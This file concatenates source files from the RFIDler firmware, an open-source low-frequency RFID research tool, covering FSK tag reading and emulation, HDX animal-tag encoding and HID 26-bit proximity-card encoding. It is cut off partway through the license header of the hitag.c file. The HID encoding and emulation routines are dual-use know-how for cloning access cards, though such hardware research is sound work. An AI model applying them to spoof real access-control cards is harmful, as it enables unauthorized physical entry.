* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "USB/usb.h"
#include "util.h"
#include "fsk.h"
#include "emulate.h"
#include "clock.h"
BOOL send_fsk_hex(unsigned char *data, unsigned long pulsewidth, unsigned int cpb, unsigned int c0, unsigned int c1, unsigned int repeat)
{
unsigned int length;
if(!(length= hextobinarray(TmpBits, data)))
return 0;
// manchester encoding with FSK is not done in the baseband, so pre-encode
if(RFIDlerConfig.Manchester)
length= manchester_encode(TmpBits, TmpBits, length);
return send_fsk_bin(TmpBits, length, pulsewidth, cpb, c0, c1, repeat);
}
BOOL send_fsk_bin(unsigned char *data, unsigned int length, unsigned long pulsewidth, unsigned int cpb, unsigned int c0, unsigned int c1, unsigned int repeat)
{
// terminate for transmission
memcpy(TmpBits, data, length);
TmpBits[length]= '*';
// note we convert clocks (period) to ticks
write_FSK_HW_clock(pulsewidth / 2L, TmpBits, cpb * 2, c0, c1, repeat);
return TRUE;
}
// h/w clock FSK emulator - initialise data pointers for ISR and start timer 2
// args: clock pulsewidth (NOT period!), data as array of 0/1, T0 sub-carrier ticks, T1 sub-carrier ticks, repeat
void write_FSK_HW_clock(unsigned long pulse, BYTE *data, unsigned int tpb, unsigned int t0, unsigned int t1, unsigned int repeat)
{
// convert to ticks
pulse= CONVERT_TO_TICKS(pulse);
// point globals at data for ISR
EMU_ThisBit= *data;
EMU_Data= data + 1;
EMU_Reset_Data= data;
EMU_Repeat= repeat;
EMU_DataBitRate= tpb;
EMU_SubCarrier_T0= t0;
EMU_SubCarrier_T1= t1;
// set mode (any FSK mode will do, as sub-carriers are set seperately)
EmulationMode= MOD_MODE_FSK1;
// make sure no clock is running
stop_HW_clock();
// make sure nobody's using our timer
CloseTimer3();
// emulator mode
COIL_MODE_EMULATOR();
// tri-state on, clock low
READER_CLOCK_ENABLE_ON();
CLOCK_COIL= LOW;
// this is also a semaphore so the rest of the code knows we're running
mLED_Emulate_On();
// start timer - ISR will send data
OpenTimer3( T3_ON | T3_PS_1_1 | T3_SOURCE_INT, pulse - 1L);
mT3SetIntPriority(6);
mT3ClearIntFlag();
mT3IntEnable(TRUE);
}
// return raw HEX UID
BOOL fsk_raw_get_uid(BYTE *response, BOOL oneshot)
{
unsigned int i;
BOOL blank= TRUE;
BYTE tmp[MAXUID + 1];
memset(tmp, '0', MAXUID);
tmp[MAXUID]= '\0';
if (read_fsk_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, RFIDlerConfig.DataRateSub0, RFIDlerConfig.DataRateSub1, tmp, RFIDlerConfig.DataBits, RFIDlerConfig.Invert, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, oneshot, HEX) != RFIDlerConfig.DataBits)
return FALSE;
for(i= 0 ; i < strlen(tmp) ; ++i)
if(tmp[i] != '0')
blank= FALSE;
if (blank)
return FALSE;
strcpy(response, tmp);
return TRUE;
}
// specify oneshot if data is not repeated (i.e. in response to a command rather than a cycling UID)
unsigned int read_fsk_data(unsigned int period_us, unsigned int ticks, unsigned int t0_ticks, unsigned int t1_ticks, BYTE *data, unsigned int bits, BOOL invert, unsigned char *sync, unsigned char syncbits, unsigned int timeout_us, BOOL oneshot, BYTE format)
{
unsigned int i= 0, j;
BYTE found= 0, repeat;
if(oneshot)
repeat= 1;
else
repeat= 2;
// if we're not doing a 1-shot read, we can grab double the data to allow for sync search
if(!read_FSK_HW_clock(period_us, ticks, TmpBits, bits * repeat, timeout_us))
return 0;
if(FakeRead)
return 0;
// reset timer
if(timeout_us)
GetTimer_us(RESET);
// wait for semaphore to tell us read has finished
while(mLED_Read == mLED_ON)
if(timeout_us)
if (GetTimer_us(NO_RESET) > timeout_us)
return 0;
// convert to standard binary
if(!fskbinarraytobinarray(TmpBits, TmpBits, bits * repeat, (t0_ticks > t1_ticks) ^ invert))
return 0;
// find start of data
if(syncbits)
{
for(i= j= found= 0 ; i < bits * repeat ; ++i)
{
if(TmpBits[i] == getbit(sync[j / 8], 7 - (j % 8)))
++j;
else
{
i -= j;
j= 0;
}
if(j == syncbits)
{
found= 1;
break;
}
}
if(!found)
return 0;
// point at start of sync
i -= syncbits - 1;
}
// copy to output buffer
switch(format)
{
case HEX:
return binarraytohex(data, TmpBits + i, bits);
case BINARY:
default:
memcpy(data, TmpBits + i, bits);
data[bits]= '\0';
return bits;
}
}
// nothing to do!
BOOL fsk_raw_hex_to_uid(BYTE *response, BYTE *hex)
{
strcpy(response, hex);
return TRUE;
}
// low level read routines
// h/w clock reader - initialise data pointers for ISR and start timers
// timer2 creates clock output for external reader
// timer4 reads data bit values
// period_us == clock for reader
// ticks == clock periods per bit
// bits == number of bits to read
// min_pulse_us == minimum external reader pulswidth for a 'good' read, 0 for read 'anything'
BOOL read_FSK_HW_clock(unsigned int period, unsigned int ticks, BYTE *data, unsigned int bits, unsigned int timeout_us)
{
unsigned int gaplength;
BYTE tries;
// point globals at data for ISR
EMU_Data= data;
HW_Bits= bits;
memset(EMU_Data, '\0', bits);
// stop USB interfering
USBMaskInterrupts();
// start clock if not already running
if(!mGetLED_Clock() == mLED_ON)
{
InitHWReaderClock(OC_TOGGLE_PULSE, period / 2L, period, RWD_STATE_ACTIVE);
// give reader time to wake up and settle
Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wake_Period) / 100);
}
// reset timer for timeout
GetTimer_us(RESET);
// align ourselves to reader's bit period by finding the end of a pulse train.
// we can do this by measuring the gaps. when they become significantly different
// sized (more than 25%), we have just switched frequency.
// find the start of a pulse
while(READER_DATA)
if(timeout_us)
if (GetTimer_us(NO_RESET) > timeout_us)
return FALSE;
while(!READER_DATA)
if(timeout_us)
if (GetTimer_us(NO_RESET) > timeout_us)
return FALSE;
while(READER_DATA)
if(timeout_us)
if (GetTimer_us(NO_RESET) > timeout_us)
return FALSE;
// reset timer so we can meausure gap period
GetTimer_us(RESET);
while(!READER_DATA)
if(timeout_us)
if (GetTimer_us(NO_RESET) > timeout_us)
return FALSE;
gaplength= GetTimer_us(RESET);
// now look for a gap that doesn't match
tries= 20;
while(tries--)
{
while(READER_DATA)
if(timeout_us)
if (GetTimer_us(NO_RESET) > timeout_us)
return FALSE;
GetTimer_us(TRUE);
while(!READER_DATA)
if(timeout_us)
if (GetTimer_us(NO_RESET) > timeout_us)
return FALSE;
if(!approx(GetTimer_us(NO_RESET), gaplength, FSK_TOLERANCE))
break;
}
// reset timer for external timeouts
GetTimer_us(RESET);
// start ISR to read FSK data
InitHWReaderISR(CONVERT_TO_TICKS(period) * ticks - 1L, TRUE);
return TRUE;
}
// convert special case fsk bin array to standard bin array
// this is an array of sizes. there should be only two values (approximate), one for '0' and one for '1'
// the lower of the two values is '0' - calling routine should decide if this is correct, and set 'invert' to switch
// if required
BOOL fskbinarraytobinarray(unsigned char *target, unsigned char *source, unsigned int length, BOOL invert)
{
unsigned int i;
unsigned char val0= 0, val1= 0;
BYTE percentage= FSK_TOLERANCE;
val0= source[0];
// check we only have two values
for(i= 1 ; i < length ; ++i)
{
if(!val1 && !approx(source[i], val0, percentage))
val1= source[i];
if(!approx(source[i], val0, percentage) && !approx(source[i], val1, percentage))
return FALSE;
}
// lower value (smaller pulses, so higher frequency) is '0', so swap if not set that way
if((val1 < val0) ^ invert)
val0= val1;
for(i= 0 ; i < length ; ++i)
if(approx(source[i], val0, percentage))
target[i]= 0x00;
else
target[i]= 0x01;
return TRUE;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/hdx.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
// ISO-11784/5 HDX as per http://www.webcitation.org/5fsCRL5Zz
#include "HardwareProfile.h"
#include "detect.h"
#include "hdx.h"
#include "fsk.h"
#include "rfidler.h"
#include "util.h"
// HDX reads data in Half Duplex mode
// first we energise the TAG for long enough that it charges up
// then we use sniffer to read response
// each bit is 16 ticks, a 1 is 124.2 KHz and a 0 is 134.2 KHz
// activation frequency is 134.2 KHz (745 FCs))
BOOL hdx_get_uid(BYTE *response)
{
BYTE i;
BYTE tmp[HDX_DATABITS];
// this is a work in progress, so until reading produces any data, return empty
return FALSE;
// energise tag & wait for wakeup period
InitHWReaderClock(OC_TOGGLE_PULSE, 745 / 2L, 745, RWD_STATE_ACTIVE);
Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wake_Period) / 100);
// switch off clock and switch to sniffer mode
detect_init();
// read to temporary array for speed
for(i= 0 ; i < HDX_DATABITS ; ++i)
tmp[i]= read_external_clock_burst(16) / 1000L;
// convert to binary based on freq +- 3
for(i= 0 ; i < HDX_DATABITS ; ++i)
{
if (tmp[i] >= 122 && tmp[i] <= 128)
tmp[i]= 0x01;
else
if (tmp[i] >= 129 && tmp[i] <= 135)
tmp[i]= 0x00;
else
return FALSE;
}
binarraytohex(response, tmp, HDX_DATABITS);
return TRUE;
}
// convert human readable UID to 128 bit fdx-b HEX string
BOOL uid_to_hdx_hex(BYTE *hex, BYTE *uid)
{
BYTE tmp[128];
if(!uid_to_fdxb_bin(tmp, uid))
return FALSE;
binarraytohex(hex, tmp, 128);
return TRUE;
}
// convert human readable UID to 128 bit fdx-b binary array
BOOL uid_to_hdx_bin(BYTE *bin, BYTE *uid)
{
BYTE tmp1[64], crc[8], i;
unsigned int country, crctag;
unsigned long long id;
memset(tmp1, 0x00, 64);
// set animal flag
if(uid[0] == 'A')
tmp1[0]= 0x01;
else
if(uid[0] != '0')
return FALSE;
// set data flag
if(uid[1] == 'D')
tmp1[15]= 0x01;
else
if(uid[1] != '0')
return FALSE;
// set country code - 4 hex digits -> 10 bits
country= bcdtouint(uid + 2, 4);
inttobinarray(tmp1 + 16, country, 10);
// set national ID - 12 hex digits -> 38 bits
id= bcdtoulonglong(uid + 6, 12);
ulonglongtobinarray(tmp1 + 26, id, 38);
// reverse binary
string_reverse(tmp1, 64);
// add header for over-the-air: 10 x 0x00 + 0x01
memset(bin, 0x00, 10);
// every 9th bit is 0x01, but we can just fill the rest with 0x01 and overwrite
memset(bin + 10, 0x01, 118);
//data is 8 blocks of 8 bits, plus obfuscation bit
for(i= 0 ; i < 8 ; ++i)
memcpy(bin + 11 + i * 9, tmp1 + i * 8, 8);
// calculate & append crc for 64 bits of data
for(i= 0 ; i < 8 ; ++i)
crc[i]= (BYTE) binarraytoint(tmp1 + i * 8, 8);
crctag= crc_ccitt(crc, 8);
inttobinarray(bin + 83, crctag >> 8, 8);
inttobinarray(bin + 92, crctag, 8);
// add trailer
for(i= 0 ; i < 3 ; ++i)
memset(bin + 101 + i * 9, 0x00, 8);
return TRUE;
}
// convert fdxb 128 bit binary array to human readable UID
// format is ADCCCCIIIIIIIIIIII where A is 'A' or '0' for animal / non-animal,
// D is 'D' or '0' for Data block available / No data available,
// CCCC is ISO-3166 country code or ICAR.ORG manufacturer code
// IIIIIIIIIIII is national ID
BOOL hdx_hex_to_uid(BYTE *uid, BYTE *hex)
{
BYTE tmp[128];
unsigned int country;
unsigned long long id;
// strip headers etc.
if(!fdxb_hex_to_bin(tmp, hex))
return FALSE;
// reverse binary
string_reverse(tmp, 64);
// output animal flag
if(tmp[0])
uid[0]= 'A';
else
uid[0]= '0';
// output data flag
if(tmp[15])
uid[1]= 'D';
else
uid[1]= '0';
// output country/icar code
country= binarraytoint(&tmp[16], 10);
sprintf(&uid[2], "%04u", country);
// output national ID
id= binarraytoulonglong(&tmp[26], 38);
sprintf(&uid[6], "%012llu", id);
return TRUE;
}
// convert 32 hex digit/128 bit FDXB ID to 64 bit raw UID
// safe to do in-place as we use a scratchpad
BOOL hdx_hex_to_bin(BYTE *response, BYTE *fdxb)
{
BYTE i, crc_check[8], trailer[9]= {0,0,0,0,0,0,0,0,1}, tmp[128];
unsigned int crctag;
hextobinarray(tmp, fdxb);
// check header - should be 10 x 0x00 + 0x01
for(i= 0 ; i < 10 ; ++i)
if(tmp[i] != 0x00)
return FALSE;
if(tmp[10] != 0x01)
return FALSE;
// check CRC
// calculate crc for 64 bits of data (8 blocks of 8 plus obfuscation bit)
for(i= 0 ; i < 8 ; ++i)
crc_check[i]= (BYTE) binarraytoint(tmp + 11 + i * 9, 8);
// stored crc (2 x 8 + 1) is at offset 83 (11 + 64 + 8)
crctag= binarraytoint(tmp + 83, 8) << 8;
crctag += binarraytoint(tmp + 92, 8);
if (crctag != crc_ccitt(crc_check, 8))
return FALSE;
// check trailer - '000000001' x 3 at offset 101
for(i= 0 ; i < 3 ; ++i)
if(memcmp(tmp + 101 + i * 9, trailer, 9) != 0)
return FALSE;
// data is 8 blocks of 8 bits, plus obfuscation bit so check and strip every 9th bit
for(i= 0 ; i < 8 ; ++i)
{
if(tmp[11 + ((i + 1) * 9) - 1] != 0x01)
return FALSE;
memcpy(response + i * 8, tmp + 11 + (i * 9), 8);
}
return TRUE;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/hid.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "util.h"
#include "rfidler.h"
#include "hid.h"
#include "wiegand.h"
#include "fsk.h"
// convert null-terminated BCD UID (8 digits) to hid26 encoded hex
// UID is SSSIIIII where S is site-code and I is ID
BOOL bcd_to_hid26_hex(unsigned char *hid26, unsigned char *bcd)
{
if(bcd_to_hid26_bin(hid26, bcd))
return binarraytohex(hid26, hid26, 96);
else
return FALSE;
}
// convert 96 bit HID FSK data to 8 digit BCD UID
BOOL hid26_hex_to_uid(unsigned char *response, unsigned char *hid26)
{
BYTE tmp[96], tmp1[7];
unsigned int site;
unsigned int id;
// todo parity checking etc.
if(!hextobinarray(tmp, hid26))
return FALSE;
// skip 44 bit header
memcpy(tmp, tmp + 44, 52);
// manchester decode
if(manchester_decode(tmp, tmp, 52) != 26)
return FALSE;
// convert to hex, ignoring parity bits
if(!binarraytohex(tmp1, tmp + 1, 24))
return FALSE;
// convert hex to site/id
sscanf(tmp1,"%2X%4X", &site, &id);
// final output 8 byte BCD
sprintf(response,"%03d%05d", site, id);
return TRUE;
}
// convert null-terminated BCD UID (8 digits) to 96 bit hid26 encoded binary array
BOOL bcd_to_hid26_bin(unsigned char *hid26, unsigned char *bcd)
{
unsigned char tmp1[8], tmp2[26];
unsigned int tmpint;
if(strlen(bcd) != 8)
return FALSE;
// convert BCD site code to HEX
sscanf(bcd, "%03d", &tmpint);
sprintf(tmp2, "%02x", tmpint);
memcpy(tmp1, tmp2, 2);
// convert BCD ID to HEX
sscanf(bcd + 3, "%05d", &tmpint);;
sprintf(tmp2, "%04x", tmpint);
// copy with trailing NULL
memcpy(tmp1 + 2, tmp2, 5);
// convert full HEX to binary, leaving room for parity prefix
hextobinarray(tmp2 + 1, tmp1);
wiegand_add_parity(tmp2, tmp2 + 1, 24);
// magic 44 bit hid26 header
hextobinarray(hid26, "1D555955556");
// add manchester encoded hid data
manchester_encode(hid26 + 44, tmp2, 26);
return TRUE;
}
// return raw HEX UID
BOOL hid26_get_uid(BYTE *response)
{
return fsk_raw_get_uid(response, FALSE);
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/hitag.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2017 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
